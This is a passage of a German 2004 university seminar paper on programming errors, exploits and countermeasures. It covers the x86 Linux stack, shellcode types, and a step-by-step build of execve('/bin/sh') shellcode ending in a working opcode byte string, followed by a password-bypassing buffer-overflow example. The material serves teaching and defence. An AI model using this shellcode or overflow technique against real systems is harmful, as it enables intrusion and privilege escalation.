Programm(ier)fehler, Exploits und Gegenmaßnahmen

Größe: px
Ab Seite anzeigen:

Download "Programm(ier)fehler, Exploits und Gegenmaßnahmen"

Transkript

1 Rheinisch-Westfälische Technische Hochschule Aachen Lehr- und Forschungsgebiet Informatik IV Prof. Dr. Felix Gärtner Programm(ier)fehler, Exploits und Gegenmaßnahmen Hackerseminar SS 2004 Claus Overbeck Peter Cholewinski Betreuung: Maximillian Dornseif

2 Zusammenfassung Obwohl Sicherheitslücken und Meldungen über Computereinbrüche in aller Munde sind, wissen viele Programmierer und Systemverwalter nicht, wie sie Sicherheitslücken vermeiden können. Dieser Informationsmangel führt dazu, daß sehr viel unsichere Software programmiert und installiert wird, oder daß die Notwendigkeit des Installierens von Sicherheitsupdates nicht erkannt wird. In dieser Ausarbeitung geben wir einen Überblick über einige typische Programmierfehler. Durch Beispiele erklären wir, wie man diese Fehler ausnutzt, um die Kontrolle über einen Rechner zu erhalten, und versuchen so den Leser für diese Probleme zu sensibilisieren. 2

3 Inhaltsverzeichnis 1 Einleitung 5 2 Hintergrund Architektur Virtueller Speicheraufbau Stackrahmen Andere Speicherbereiche Shellcode Varianten von Shellcode Designprozeß Der Buffer Overflow Ein Beispiel einer Variablenattacke Smashing the Stack Heap basierte Overflows Einfache Variablenattacke Die.dtors-Attacke Weitere Heap basierte Exploitvarianten Shellcode überflüssig machen Format String Die printf() Funktion Stackanalyse mit Format Strings Stack Smashing per Format String Race Conditions 32 3

4 7 Gegenmaßnahmen Stackguard und Stackshield Openwall Libsafe PaX Hacker Praktikum 38 Anhang A: Serverprogramm, Stack Smashing 42 Anhang B: Exploit-Programm, Stack Smashing 45 Anhang C: Funktionen CommunicateServer und convert mit Format String 48 Anhang D: Das sendstring Hilfsprogramm 49 Anhang E: Perlprogramm zur Stackanalyse 51 Anhang F: Perlprogramm zum Erstellen des Format Strings 52 Anhang G: Verwundbares Programm, Race Conditions 55 Anhang H: Detailansicht Virtuelles Memory 57 4

5 1 Einleitung Obwohl man täglich von neuen Sicherheitslücken in vielen weitverbreiteten Programmen hört und liest, und Begriffe wie Buffer Overflow oder Format String Vulnerability den meisten Programmierern bekannt sind, wissen dennoch viele Softwareentwickler nur wage, was sich hinter diesen Begriffen verbirgt. Die Kenntnis solcher typischen Programmierfehler und der Sicherheitslücken, die durch sie entstehen, ist für jeden, der sich mit der Entwicklung von Software, die in sicherheitsrelevanten Bereichen eingesetzt wird unerläßlich. Genauso wichtig ist diese Kenntnis auch für Entwickler von Intrusion Detection Systemen, die ohne dieses Wissen laufende Angriffe nicht erkennen könnten. In dieser Ausarbeitung zeigen wir, wie leicht man eine Sicherheitslücke programmiert ohne es zu merken. Außerdem zeigen wir wie leicht diese sich dann ausnutzen läßt, und welche fatalen folgen dies für die Sicherheit des betroffenen Systems hat. Wir können hier natürlich nicht alle möglichen Sicherheitsprobleme vorführen, weil es davon zu viele verschiedene gibt, aber wir möchten eine Sensibilisierung des Lesers für die Ernsthaftigkeit dieser Sicherheitsprobleme erreichen, denn immer noch werden verfügbare Sicherheitspatches nicht installiert, oder Serverprogramme einfach schnell runterprogrammiert ohne einen Gedanken an die Sicherheit zu verschwenden. 2 Hintergrund In diesem Abschnitt wird Material vermittelt, welches für die späteren Themen unerläßlich ist. Natürlich kann es von Lesern, mit detailiertem Wissen über die hier angesprochenen Gebiete, übersprungen und im Zweifelsfall als Referenz genutzt werden. 2.1 Architektur Möchte man eine Maschine angreifen, das heißt einen Programmierfehler oder auch einen Konfigurationsfehler ausnutzen, um ein Ziel zu erreichen, welches ohne einen solchen Fehler unerreichbar ist, so ist es essentiell die Architektur der Maschine zu kennen. Unter der Architektur wird in dieser Ausarbeitung der verwendete Prozessortyp sowie das Betriebssystem, welches das fehlerhafte Programm ausführt, verstanden. Die Architektur ist ein wichtiger Faktor, denn abhängig von dieser werden dem Angreifer verschiedene Möglichkeiten, in Form von verfügbaren APIs oder vorinstallierten Tools, geboten. Auch der verwendete Prozessortyp ist spätestens beim Einschleusen von eigenem Code (allgemein. Code Injection) unerläßlich, obwohl auch Arbeiten existieren, die diese Notwendigkeit vermindern (siehe [1]). Wie verschieden die einzelnen Prozessoren und Betriebssysteme auch sein mögen, in der hier vorgestellten Arbeit wird versucht Abstraktion, als eines der wichtigsten Mittel herauszustellen. Damit verbundene Prinzipien sollen ebenfalls verdeutlicht werden, welche sich dann mit mäßigem Aufwand auf andere Architekturen erfolgreich übertragen lassen. Nichtsdestotrotz, für die vorgestellten Beispiele und zur verständlichen beziehungsweise anschaulichen Darstellung der Methoden, wird als 5

6 Architektur Linux auf einem Intel x86 Prozessortyp betrachtet. Dies führt unweigerlich dazu, daß auf gewisse Details dieser Architektur eingegangen werden muß, allerdings finden sich bei näherer Betrachtung anderer Architekturen schnell Parallelen und somit verhilft ein Verstehen dieser Details auch zum leichteren Verstehen anderer Architekturen. Auf einige Details wird nun eingegangen, diese dienen als Basis für die nachfolgenden Abschnitte, welche im Grunde nur eine andere Perspektive dieser betrachten, sowie unkonventionell Ausnutzen. 2.2 Virtueller Speicheraufbau Moderne Betriebssysteme offerieren den Programmen (Prozessen) die Illusion, daß ihnen ein Speicher zur Verfügung steht, der nur durch die Adressengröße beschränkt ist (das heißt auf einem 32-Bit System um die 4 GB). Dieser sogenannte virtuelle Adreßraum erlaubt im gewissen Rahmen die eine Handhabung von Prozessen, da Prozesse ihre verschiedenen Datenteile immer innerhalb der gleichen Adressen finden. Natürlich, hat nicht jeder Computer 4 GB zur Verfügung und würde diese auch nicht einem einzigen User Prozeß zur Verfügung stellen. Deshalb implementiert das Betriebssystem einen Memory Mapper, welcher die virtuellen Adressen eines jeden laufenden Prozesses auf den wirklich verfügbaren (meistens viel kleineren Adreßraum als durch 32-Bit möglich) abbildet. Einem Prozeß stehen verschiedene Möglichkeiten zur Verfügung Speicher für sich in Anspruch zu nehmen. Die beiden wichtigsten sind der Stack und der Heap. Der Stack wird dazu verwendet, lokale Variablen, welche zumeist innerhalb von Funktionen benötigt werden, abzuspeichern, sowie für Koordinationsaufgaben bei Funktionsaufrufen. Hingegen wird der Heap für die Bereitstellung größerer Speicherbereiche zur Nutzung durch entsprechende Datenmengen genutzt. Solche Speicherblöcke, innerhalb des Heap, müssen auch durch spezielle Funktionen beantragt werden. Beim Stack ist die Allozierung durch den Compiler im gewissen Maße vorbestimmt. Abbildung 1 zeigt, wie von einem Linux-Prozeß aus gesehen, die Aufteilung seines (virtuellen) Speichers aussieht. Zu beachten ist, daß dieser Aufbau impliziert, an welchen Adressen sich bei der Ausführung eines Programmes Bestandteile, wie der Stack (um 0xbfffffff) oder der Heap (um 0x ), befinden werden. Natürlich, wird es dort immer kleine Abweichungen geben, abhängig von verschiedenen Faktoren. Zum Beispiel, variiert der Anfang des Stacks abhängig davon, wie groß der Kommandozeilen Parameter beim Aufruf ist. Entsprechende Variationen finden sich auch für die Heap Adressen (hierbei spielen unter anderem statisch gelinkte Bibliotheken eine Rolle). Was sich allerdings für Angriffe von großer Bedeutung erweist, ist das Faktum, daß sich die Adressen nicht verändern, wenn ein Programm in der gleichen Umgebung gestartet wird. Leider wird dies später, im Abschnitt über die Gegenmaßnahmen, relativiert und entspricht nicht mehr ganz der Wahrheit. In der Abbildung wird auch angedeutet, daß der Stack zu den kleineren Adressen hin wächst. Im Gegensatz, zum Heap, welcher zu den größeren Adressen hinbewegt wird. 2.3 Stackrahmen Es wurde schon erwähnt, daß der Stack für Funktionsaufrufe eine wichtige Rolle spielt. Dies ist darin begründet, daß für den Programmfluß wichtige Informationen, wie Rücksprungadresse oder 6

7 0xC STACK available for growth PSfrag replacements SHARED LIBRARIES available for growth 0x HEAP CODE 0x Abbildung 1: Virtueller Speicher eines Linux Prozesses Funktionsargumente, über den Stack verwaltet werden. Allgemein wird eine Funktion f durch einen Aufrufer (zumeist eine andere Funktion) aufgerufen, dazu folgen beide einem bestimmten Schema. 1. die Argumente arg 1 bis arg n werden vom Aufrufer auf den Stack geschrieben, wobei arg n eine höhere Adresse hat als arg die Adresse des dem Funktionsaufruf folgenden Befehls wird als Rücksprungadresse (saved eip) auf den Stack abgelegt. 3. es folgt der Sprung an die Adresse der Funktion f Ein entsprechendes Codefragment für einen solchen Funktionsaufruf wäre: void main() { f( 2, 3, 4, 5 ); } Das entsprechende Fragment nach einer Übersetzung in Assembler sieht wie folgt aus: 7

8 push $5 push $4 push $3 push $2 call f Hierbei ist gut zu erkennen, daß die Reihenfolge auf dem Stack umgekehrt zur Reihenfolge, welche durch den Aufruf der Funktion angegeben wurde, ist. Das Speichern der Rücksprungadresse und das Springen zur Funktion übernimmt der Befehl call. Dies ist alles worum sich der Aufrufer kümmern muss. Hingegen muss die aufgerufene Funktion ebenfalls einiges an Arbeit leisten: 1. der Rahmenzeiger (frame pointer bzw. ebp) wird auf dem Stack abgelegt 2. dem Rahmenzeiger wird das aktuelle Stackende zugewiesen 3. der Stackpointer (esp) wird erniedrigt und alloziert damit Speicher für lokale Variablen der Funktion Diese drei Schritte nennen sich auch Funktionsprolog und finden sich bei jedem Aufruf wieder. In Assemblercode durch folgende Befehle zu erkennen: push %ebp mov %esp,%ebp sub $0x20,%esp Der Rahmenzeiger dient dazu lokale Variablen anzusprechen. Dazu wird vom ebp ein negativer Offset verwendet, welcher dann auf eine entsprechende Variable zeigt (der Stack wächst nach unten). Nachdem die lokalen Variablen alloziert sind, kann die Funktion ihre eigentliche Aufgabe durchführen. Ist die Funktion fertig, muss auch ein gewisser Aufwand für die korrekte Beendigung geleistet werden: 1. der Stackzeiger wird auf den Rahmenzeiger gesetzt und dealloziert somit die in der Funktion verwendeten lokalen Variablen 2. der (gesicherte) Rahmenzeiger wird vom Stack genommen und ins entsprechende Register geladen 3. Rücksprungadresse wird vom Stack genommen und es wird dorthin zurückgesprungen Diese drei Schritte kann man auch als Funktionsepilog bezeichnen, wobei die zwei Assemblerbefehle leave ret 8

9 Speicher Anfang... local k... local 1 ebp eip arg n... arg 1... Speicher Ende Stack Ende Stack Anfang Abbildung 2: Stack beim Funktionsaufruf alle drei Verwaltungsschritte übernehmen. Nachdem zurückgesprungen wurde, kann der Aufrufer weiter im Code fortfahren und gegebenenfalls beliebige weitere Funktionen nach dem gleichen Schema aufrufen. Abbildung 2 veranschaulicht nochmal den Zustand des Stacks nachdem eine Funktion aufgerufen worden ist. Für spätere Angriffe sind die farblich unterlegten Felder des Rahmenzeigers sowie der Rücksprungadresse interessant. Wie schon erwähnt bewegen wir uns auf einer Linux/Intel Architektur, deshalb sieht der Assemblercode auch entsprechend aus. Dieser variiert im Bezug auf die mnemonischen Befehlsnamen auch schon von Betriebssystem zu Betriebssystem, allerdings bleiben die Maschinenopcodes unter dem gleichen Prozessortyp, unabhängig von Betriebssystem, invariant. Was sich allerdings ändern kann ist, wie genau sich eine Sprache in den entsprechenden, Architektur abhängigen Assemblercode, übersetzt. Es mag Unterschiede bei der Übergabe der Argumente geben oder entscheidende Variationen in der Allozierung von lokalen Variablen auf dem Stack. In unserer Arbeit gehen wir von Code aus, der in der Sprache C geschrieben und mit einem aktuellen GCC kompiliert wurde. Dies ist insbesondere wichtig, da der GCC ein Padding (zur Optimierung) beim Erniedrigen des Stackpointers für lokale Funktionsvariablen einführt. 2.4 Andere Speicherbereiche Bisher wurde sich schon aufgrund der Stackframes mit lokalen Variablen und ihrer Allokierung auf dem Stack beschäftigt. Schaut man sich aber diverse C Programme an, so existiert eine Vielzahl von Variablen, die an anderen Orten deklariert oder auf eine andere Art und Weise bestimmt werden. Um eine Intuition zu entwickeln, wo diese Variablen genau angelegt werden, das heißt innerhalb welcher Regionen sich die entsprechenden Daten befinden, muss man den virtuellen Speicher etwas genauer aufteilen. Da unter Linux (wie auch einigen anderen Betriebssystemen) das ELF Binary Format (siehe [2]) verwendet wird, also das Format, welches bestimmt wie Binärdateien aufgebaut sein müssen, gibt es auch eine strenge Ähnlichkeit zum Aufbau der Sektionen im virtuellen Speicher. Die Code Sektion, welche sich wie in Abbildung 1 gezeigt, sehr weit unten im virtuellen Speicher befindet, kann in weitere wichtige Abschnitte unterteilt werden: der Heap beinhaltet zumeist größere allozierte Speicherblöcke, welche durch Zeiger angesprochen werden. Um dort Speicher für eine Variable zu bekommen, muss der Prozeß spezielle Systemaufrufe des Betriebssystems ansprechen (in C zumeist über die malloc Funktion). die.bss Sektion, speichert Variablen welche uninitialisiert angelegt werden. Dies bezieht globale (uninitialisierte) Variablen, sowie Variablen innerhalb von Funktion, welche aber mit dem 9

10 Attribut static gekennzeichnet sind. Solche static Variablen haben die Eigenschaft, daß sie von den Aufrufen einer Funktion geteilt werden und somit auf dem Stack fehl am Platze werden, da der Stack lokale Variablen per Aufruf anlegt und nach Ausführung wieder vernichtet. die.data Sektion, entspricht im Verhalten der.bss Sektion, jedoch speichert man hier Variablen ab, welche einen vordefinierten Wert aus dem Code mitbekommen haben. Die Abbildung 3 zeigt die Relation, in welcher Variablen aus einem Codefragment zu den verschiedenen Speichersektionen stehen. Es sind noch einige andere Abschnitte aufgeführt, welche zwischen den eben beschriebenen Sektionen liegen, aber diese spielen für Speicherallozierung keine Rolle, werden aber in späteren Angriffen nochmals aufgegriffen und dann entsprechend erläutert. char v2[] = hack ; int v1; // data // bss STACK void main( ) { char buff[256]; char* v6; static int v4; static int v5 = 20; v6 = malloc( 512 ); } // stack // stack // bss // data // heap HEAP.BSS.GOT.DTORS.CTORS.DATA.TEXT.PLT.INIT Abbildung 3: Zuordung von Variablen und Speicherbereichen 3 Shellcode Der Begriff Shellcode läßt sich aus der damit meist assoziierten Funktionalität des Ausführens einer Shell begründen. Zumeist aus veröffentlichten Exploits als ein etwas unleserliches Array von Charakteren bekannt, wird dieser zur Code Injection, also zum Einschleusen von eigenem Code innerhalb eines verwundbaren Programms verwendet. Allgemein, versteht man unter Shellcode (auch passender Payload genannt) ein vorbestimmtes Programm, das durch gewisse Methodik in ein Charakterarray umgewandelt wird und somit innerhalb von Textbuffern in Programmen gespeichert werden kann. 3.1 Varianten von Shellcode Die Evolution auch vor Shellcodes nicht halt macht, haben sich verschiedenste Arten entwickelt, die für diverse Situationen am passendsten erscheinen. Die Arten, welche wir hier erwähnen wollen, sind 10

11 bei weitem nicht alle denkbaren, da beim Design von Shellcode die Möglichkeiten eigentlich unbegrenzt sind. Alles, was einem als vorteilbringende Funktionalität auf einen angegriffenen Zielrechner erscheint, kann in einen Shellcode umgewandelt werden. Weiter sei angemerkt, daß es zu Shellcodes keine breit akzeptierte Klassifizierung gibt, aber eine grobe Einteilung anzugeben ist nicht falsch, da sich viele Shellcodes, ihren Eigenschaften nach, doch gut in die hier eingeführten Klassen einordnen lassen. Local Shellcode: Dies ist die Standardart von einem Shellcode. Die Funktionalität beschränkt sich hierbei darauf, den Code in ein lokales Programm einzuschleusen und, durch die höheren Privilegien des Programms, Funktionen auszuführen, welche mit eigenen Privilegien nicht ausgeführt werden können. Zumeist wird einfach eine Shell aufgerufen, mit der dann eine Vielzahl von nützlichen Tools zur Verfügung steht. Aus einer anderen Perspektive betrachtet, könnte es aber auch ausreichen, wenn eine ganz bestimmte Methode des Betriebssystems aufgerufen wird und keine weitere Beteiligung des Angreifers erwünscht ist. Das heißt, der Shellcode führt nicht eine Shell aus, sondern beschränkt sich zum Beispiel darauf den Rechner zu rebooten. In einem solchen Fall, kann ein solcher Code auch an remote gelegene Rechner geschickt werden um diese dann zu rebooten. Remote Shellcode: Diese, auch unter dem Namen Portbinding Shellcode bekannte, Variation hat die erweiterte Eigenschaft, daß dem Angreifer erlaubt wird, den Shellcode an einen entfernten Zielrechner zu schicken und dann über einen offenen Port Befehle an ein dort gestartetes Programm zu schicken. Natürlich wird in den meisten Vertretern dieser Art einfach eine auf dem Zielrechner verfügbare Shell gestartet und an einen hartgecodeten Port gebunden. Der Angreifer hat dann die Möglichkeit sich auf den angegriffenen Rechner direkt einzuloggen und Befehle seiner Wahl auszuführen. Connecting Shellcode: Hierbei handelt es sich um eine etwas klügere Art eine Shell auf einem remote Rechner zur Verfügung gestellt zu bekommen. Der Shellcode selbst verbindet sich zu der Rechneradresse der Angreifers und der Angreifer kann dann sobald die Verbindung entstanden ist, wie beim Remote Shellcode, Befehle an eine Shell weitergeben. Diese Variation ist insbesondere interessant, falls eine Firewall auf dem Zielrechner installiert ist und eingehende Verbindungen zu nicht vorher freigegebenen Ports blockt. Polymorphic Shellcode: Diese Klasse kann eher als eine fortgeschrittene Technik angesehen werden, mit der sich alle Variationen von Shellcodes erweitern lassen. Der Grund für die Entwicklung einer solchen Technik, liegt bei den Fortschritten die bei Intrusion Detection Systemen gemacht worden sind. Diese können über Analysemethoden von Paketen feststellen, ob sich hinter deren Dateninhalt ein Shellcode verbirgt. Somit, müssen von Seiten der Angreifer die Shellcodes getarnt werden. Eine Idee ist dem eigentlichen Shellcode eine kryptographische Methode voranzustellen, welche den eigentlichen Code erst entschlüsseln muss, damit dieser ausgeführt werden kann. Weiter können auch nach dem Shellcode sogenannte Cramming Bytes eingefügt werden, damit eine Häufigkeitsanalyse von vorkommenden Bytes innerhalb des Paketes keinen Hinweis auf einen Shellcode liefern kann. Allgemein ausgedrückt, beinhaltet die 11

12 r v2[] = hack ; int v1; void main( ) { char buff[256]; char* v6; static int v4; Klasse der polymorphen Shellcodes, Codes, welche sich während der Ausführung modifizieren. Eine detailierte Beschreibung der hierbei verwendeten Techniken, sowie Tools, die solche tic int v5 = 20; = malloc( 512 Codes ); automatisch generieren können, findet sich zum Beispiel in [3]. } STACK 3.2 Designprozeß HEAP.INIT Nachdem.PLT nun die verschiedenen möglichen Variationen beschrieben worden sind, sollte auch gezeigt werden,.textwie man einen solchen Shellcode erzeugen kann. Natürlich, ist es didaktisch am klügsten einen.data einfachen Code zu schreiben, der einfach eine Shell öffnet. Die anderen Variationen können dann.ctors mit Leichtigkeit mit der vorgestellten Vorgehensweise hergestellt werden. Die Ausarbeitung beschränkt.dtors sich auf die Generierung von Shellcode unter Linux bzw. UNIX Betriebssystemen. Auf anderen.bssplattformen, wie Windows, ist das Vorgehen um einiges anders, kann aber auch in diversen Artikeln,.GOT wie zum Beispiel [4] oder [5], nachgelesen werden. // data // bss // stack // stack // bss // data // heap Abbildung 4: Entstehungsschritte von einem Shellcode Der Designprozess gliedert sich in drei Schritte, veranschaulicht in Abbildung 4. Im ersten Schritt wird die gewünschte Funktionalität in einer Hochsprache (meistens C) geschrieben. Hierbei können alle Funktionen benutzt werden, welche das Betriebssystem offeriert. Nun wird dieser C Code kompiliert und als Assemblerbefehle ausgegeben. Hieraus lassen sich die nun wichtigen Assemblerkommandos extrahieren und in eine kompaktere Form bringen, dies ist in der Abbildung der zweite Schritt. Nun kann man diese Befehle direkt in ausführbaren Code übersetzten und mittels eines Programms, wie GDB, als Opcodes (d.h. Maschinenbefehle) ausgeben lassen. Diese sind im dritten Schritt in der Abbildung zu sehen, so präsentiert sich auch Shellcode normalerweise. Dieser Prozeß soll nun an einem Beispiel Schritt für Schritt vorgeführt werden. Wie angedeutet muss erstmal die gewünschte Funktionalität in einer Hochsprache ausgedrückt werden. Als Beispiel, soll hier das Ausführen einer Shell dienen (ShellProgramm.c): #include <stdio.h> 12

13 void main() { char* shellstring[2]; shellstring[0] = "/bin/sh"; shellstring[1] = NULL; execve(shellstring[0], shellstring, NULL); } Eine Systemfunktion, welche das Aufrufen von Programmen erlaubt, ist execve und aus der Beschreibung dieser Funktion (zu entnehmen aus den entsprechenden man-pages) muss der erste Parameter eine Adresse auf einen String sein. Der String sollte dann natürlich den Pfad des auszuführenden Programmes beinhalten. Als zweiter Parameter wird eine Adresse auf die Adresse des Strings gefordert, dieser Parameter entspricht den Argumenten, welche man dem Programm übergeben kann und darf nicht NULL sein. Der dritte Parameter kann für Umgebungsvariablen genutzt werden, darf aber NULL sein und wird deshalb auch einfach darauf gesetzt. int execve(const char *filename, char *const argv [], char *const envp[]); Dieser Code entspricht nun der gewünschten Funktionalität und um zum zweiten Schritt zu gelangen müssen hieraus erstmal Assemblerbefehle erzeugt werden. Dazu kompiliert man das C Programm mit GCC mit den Optionen -static und -ggdb: # gcc -o ShellProgramm -ggdb -static ShellProgramm.c Die Option -ggdb stellt sicher, daß Debugging Informationen in die ausführbare Datei aufgenommen werden und -static sorgt dafür, daß Funktionen aus Bibliotheken in die Datei mitreingenommen werden. Letzteres ist wichtig um an die Assemblerbefehle von execve heranzukommen. Ist das Programm kompiliert so kann man mittels GDB die entsprechenden Assemblerinstruktionen anzeigen lassen: # gdb shell (gdb) disas main Dump of assembler code: push %ebp mov %esp,%ebp sub $0x8,%esp and $0xfffffff0,%esp mov $0x0,%eax sub %eax,%esp movl $0x808f068,0xfffffff8(%ebp) 13

14 movl $0x0,0xfffffffc(%ebp) sub $0x4,%esp push $0x0 lea 0xfffffff8(%ebp),%eax push %eax pushl 0xfffffff8(%ebp) call 0x804d580 < execve> add $0x10,%esp leave ret End of assembler dump. (gdb) disas execve Dump of assembler code: push %ebp mov $0x0,%eax mov %esp,%ebp push %ebx test %eax,%eax mov 0x8(%ebp),%ebx je 0x804d595 < execve+21> call 0x0 mov 0xc(%ebp),%ecx mov 0x10(%ebp),%edx mov $0xb,%eax int $0x80 cmp $0xfffff000,%eax mov %eax,%ebx ja 0x804d5b0 < execve+48> mov %ebx,%eax pop %ebx pop %ebp ret neg %ebx call 0x80489c0 < errno_location> mov %ebx,(%eax) mov $0xffffffff,%ebx jmp 0x804d5ab < execve+43> End of assembler dump. Um an dieser Stelle weiterzukommen ist es nötig Kenntnisse in der Assemblerprogrammierung unter Linux zu besitzen, allerdings lassen sich diese mit ein wenig Experimentierfreude schnell erwerben. Leider kann diese Arbeit nicht auf alle notwendigen Kenntnisse eingehen, aber es wird versucht das Nötigste zu erwähnen, um das vorgestellte Beispiel zu verstehen sowie einen leichten Einstieg in schwierigere Bereiche zu erhalten. Betrachtet man die Assemblerinstruktionen, so erkennt man vor dem Aufruf von execve durch call 0x804d580 < execve> 14

15 daß drei push Befehle vorangehen. Diese entsprechen den drei Argumenten von execve. Als erstes wird das NULL-Byte auf den Stack gelegt (push $0) und es folgt die Adresse der Adresse des Pfades und die Adresse der Pfades. Interessanter ist nun was innerhalb von execve selbst passiert. Die Disassemblierung sollte erstmal nach einem Interrupt der Form int $0x80 durchsucht werden, denn dies ist die Stelle, wo eine Systemfunktion wirklich aufgerufen wird. Die Instruktionen unmittelbar davor entpuppen sich dann meistens als die wirklich Essentiellen: mov 0x8(%ebp),%ebx... mov 0xc(%ebp),%ecx mov 0x10(%ebp),%edx mov $0xb,%eax int $0x80 Das Register ebp dient zur Adressierung der auf dem Stack übergebenen Parameter. Ins ebx Register wird der erste Parameter, das heißt die Adresse des Pfades, geladen (die 0x8 dient dazu, die gesicherten ebp und eip Speicherstellen zu überspringen). Ins ecx Register kommt nun entsprechend der zweite Parameter und ins edx der Dritte. Mittels des eax Registers wird die Funktion, welche mit dem Interrupt angesprochen werden soll, festgelegt. Folglich entspricht, der Wert 0xb der von uns gewünschten execve Funktion. Nun ist auch ersichtlich, was wirklich für unsere gewünschte Funktion getan werden muß. Es wäre falsch anzunehmen, daß man nun einfach die Opcodes aus dem GDB extrahieren könnte, da sich dort noch sehr viel Unwichtiges befindet und sogar feste Adressen vorkommen, welche natürlich in einer fremden Umgebung gar keinen Sinn machen. Folglich, extrahiert man die wichtigen Befehle und das, was für diese benötigt wird. Zusammenfassend, muß der String /bin/sh im Speicher liegen, die Adresse dieser Speicherstelle und die Adresse dieser Adresse. Das NULL-Byte kann man sich mit einfachen Assemblerbefehlen generieren. Mit ein wenig Überlegung gelangt man zu folgendem Assemblercode (linke Spalte): 1 xorl %edx,%edx 2 pushl %edx 3 pushl $0x68732f2f 4 pushl $0x6e69622f 5 movl %esp,%ebx 6 pushl %edx 7 pushl %ebx 8 movl %esp, %ecx 9 xorl %eax,%eax 10 movb $0xb,%eax 11 int $0x80 void main() { asm ( "xorl %edx,%edx" "\n" "pushl %edx" "\n" "pushl $0x68732f2f" "\n" "pushl $0x6e69622f" "\n" "movl %esp,%ebx" "\n" "pushl %edx" "\n" "pushl %ebx" "\n" "movl %esp, %ecx" "\n" "xorl %eax,%eax" "\n" "movb $0xb,%eax" "\n" "int $0x80" "\n" ); } 15

16 In der ersten Zeile wird das edx Register mittels einer XOR-Verknüpfung auf Null gesetzt (dies entspricht nun dem NULL-Byte). Danach wird die Null und der String /bin/sh mittels des pushl Befehls auf den Stack geschrieben (0x68732f2f entspricht hs// und 0x6e69622f entspricht nib/ ). Damit ist der benötigte String inklusive Nullterminierung nun im Speicher. Nun zeigt der Stackpointer auch genau auf den Anfang des String /bin/sh und kann somit als Adresse in das ebx Register kopiert werden (Zeile 5). Weiter wurde noch eine Adresse auf die Adresse des Strings benötigt, dies erreicht man indem ebx auf den Stack gelegt wird (Zeile 7) und dann der Stackpointer, welcher wiederum darauf zeigt, ins entsprechende ecx Register kopiert wird (Zeile 8). Die letzten Zeilen rufen nur noch execve aus. An dieser Stelle sollten noch einige wichtige Probleme des Design Prozesses angesprochen werden. Da der Shellcode an beliebiger Stelle im Speicher ausgeführt werden soll, dürfen keine Adressen hartgecodet werden, weil diese in einem fremden Kontext keinen Sinn machen. Eine weitere Hürde ist das NULL-Byte Problem. Innerhalb des Shellcode dürfen keine NULL-Bytes (0x00) vorkommen, da dies bei späteren String-Copy Funktionen das Kopieren unterbricht. Die Funktion behandelt ein 0x00 innerhalb des Strings als Stringende. Dies ist auch der Grund, warum in den aufgeführten Assemblerbefehlen die Instruktion movl 0xb,%eax durch ein xorl %eax,%eax und movb 0xb,%eax (Zeile 9/10) ersetzt werden muß, da sonst ein Byte in ein 32-Bit Register geschrieben wird, was bei den Opcodes zum Padding mit drei NULL-Bytes führt. Demnach muss auch auf die Wahl der Register und deren entsprechenden Befehlen geachtet werden (Register-Problem). Somit hat man nun eine kompakte Darstellung der erwünschten Funktionalität und kann den Assemblercode innerhalb eines C Programms (siehe rechte Spalte) kompilieren. Das beendet nun die zweite Phase des Designprozesses und es bleibt nur noch zu zeigen, wie nun die Opcodes gewonnen werden können. Dazu wird der in C Code eingebettete Assemblercode kompiliert und die ausführbare Datei in den GDB geladen: # gcc -o Shellcode Shellcode.c # gdb Shellcode (gdb) disas main Dump of assembler code for function main: 0x c <main+0>: push %ebp 0x d <main+1>: mov %esp,%ebp 0x f <main+3>: sub $0x8,%esp 0x <main+6>: and $0xfffffff0,%esp 0x <main+9>: mov $0x0,%eax 0x a <main+14>: sub %eax,%esp 0x c <main+16>: xor %edx,%edx 0x e <main+18>: push %edx 0x f <main+19>: push $0x68732f2f 0x <main+24>: push $0x6e69622f 0x <main+29>: mov %esp,%ebx 0x b <main+31>: push %edx 0x c <main+32>: push %ebx 0x d <main+33>: mov %esp,%ecx 0x f <main+35>: xor %eax,%eax 0x <main+37>: mov $0xb,%al 16

17 0x <main+39>: int $0x80 0x <main+53>: leave 0x <main+54>: ret End of assembler dump. (GDB) x/25bx main+16 0x804836c <main+16>: 0x31 0xd2 0x52 0x68 0x2f 0x2f 0x73 0x68 0x <main+24>: 0x68 0x2f 0x62 0x69 0x6e 0x89 0xe3 0x52 0x804837c <main+32>: 0x53 0x89 0xe1 0x31 0xc0 0xb0 0x0b 0xcd 0x <main+40>: 0x80 Bei der Disassemblierung der Main-Funktion erkennt man, daß an der Stelle main+16 der eigentliche Shellcode beginnt. Nun können mittels des Befehls x/25bx main+16 die entsprechenden Opcodes des Shellcode ausgegeben werden (die 25 bezieht sich dabei auf die Länge des Shellcodes, abzulesen aus der Disassemblierung der Main-Methode). Es bleibt nur noch zu überprüfen, ob die ermittelten Opcodes auch wirklich das Gewollte leisten. Dies wird durch folgendes Programm bewerkstelligt: char shellcode[] = "\x31\xd2\x52\x68\x2f\x2f\x73\x68" "\x68\x2f\x62\x69\x6e\x89\xe3\x52" "\x53\x89\xe1\x31\xc0\xb0\x0b\xcd\x80"; void main() { void (*exesc)(void) = (void*) shellcode; exesc(); } 4 Der Buffer Overflow 4.1 Ein Beispiel einer Variablenattacke Einen Buffer nennen wir eine Variable mit fester Länge, die im Speicher angelegt wird. Mit dem C- Befehl char variable[12]; wird zum Beispiel eine Textvariable von zwölf Zeichen Länge auf dem Stack angelegt. Schreibt ein Programm in eine solche Variable, ohne die Länge der zu schreibenden Daten zu prüfen, so daß auch mehr als zwölf Zeichen geschrieben werden können, so spricht man von einem Buffer Overflow (deutsch: Puffer Überlauf). Hierdurch wird über das Ende des Puffers in den Speicher geschrieben, wodurch auch andere Variablen verändert werden können. Dies läßt sich am einfachsten an einem Beispielprogramm erklären: 17

18 STACK HEAP.INIT.PLT.TEXT.DATA.CTORS.DTORS 1 char passok= F ;.BSS 2 char password[8];.got 3 printf("passwort: // data "); 4 gets(password); // bss 5 if(!strcmp(password, "daspassw")){ passok= T ;} Zuerst legt das Beispielprogramm zwei Variablen auf dem Stack an. // stack // stack // bss // data // heap Abbildung 5: Die Variablen password und passok im Stack. Bild 5 zeigt die Anordnung der Variablen auf dem Stack. In diesem Beispiel wird auch das Stack- Alignment des GCC gezeigt (Padding). Dann fragt das Programm nach dem Passwort (Zeile 3). Dieses wird in Zeile 4 in die Variable password eingelesen. In Zeile 5 wird schließlich das eingegebene Passwort mit dem vorgegebenen Wort verglichen. Stimmen beide überein, so wird passok auf T gesetzt, ansonsten behält die Variable ihren Initialwert F. Im weiteren Programmablauf 6 if (passok== T ){ printf("%s", "Willkommen!\n");} 7 else {printf("%s","falsches Passwort!\n");} kann so überprüft werden, ob sich der Benutzer mit dem richtigen Passwort angemeldet hat. Betrachten wir nun folgenden Programmaufruf: $ >./var_attack_example Passwort: TTTTTTTTTTTTTTTT Willkommen! Offenbar meint das Programm, wir hätten uns 